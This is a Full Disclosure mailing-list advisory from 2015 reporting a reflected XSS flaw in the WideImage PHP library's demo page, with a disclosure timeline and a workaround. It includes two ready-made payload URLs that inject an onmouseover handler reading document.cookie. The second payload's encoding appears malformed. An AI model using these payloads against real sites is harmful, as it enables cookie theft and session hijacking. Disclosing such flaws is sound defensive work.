WideImage Demo Code Cross Site Scripting (XSS)

[<sikkandar.lynx () gmail com>]

WideImage Demo Code Cross Site Scripting (XSS)





Description:
WideImage is an object-oriented library for image manipulation. 
It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images 
in the most common image formats.




Type of vulnerability: 
Reflected XSS




Threat level:
Medium




Tested on: 
Windows 8.1




Product: 
WideImage - An Open Source PHP library for image manipulation.




Version: 
11.02.19




Build date: 
2011-02-19




Live vulnerable URL during discovery:
http://wideimage.sourceforge.net/wp-content/current/demo/index.php




How to replicate this vulnerability:
Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject
JavaScript with:




Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo




Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo




Workaround/Fix:
To fix this, please remove the two following directories:
public_html/wideimage/demo
public_html/wideimage/test




Disclosure Time-line:
Notified vendor: July 04, 2015
Response from vendor: No response. 
Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it."
Fix: Not fixed at this time (July 07, 2015)
WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/




Credits and Copyright:
This vulnerability was discovered by Mohammad Sikkandar Sha.
It's licensed under the creative commons attribution license 4.0.




Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx () gmail com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/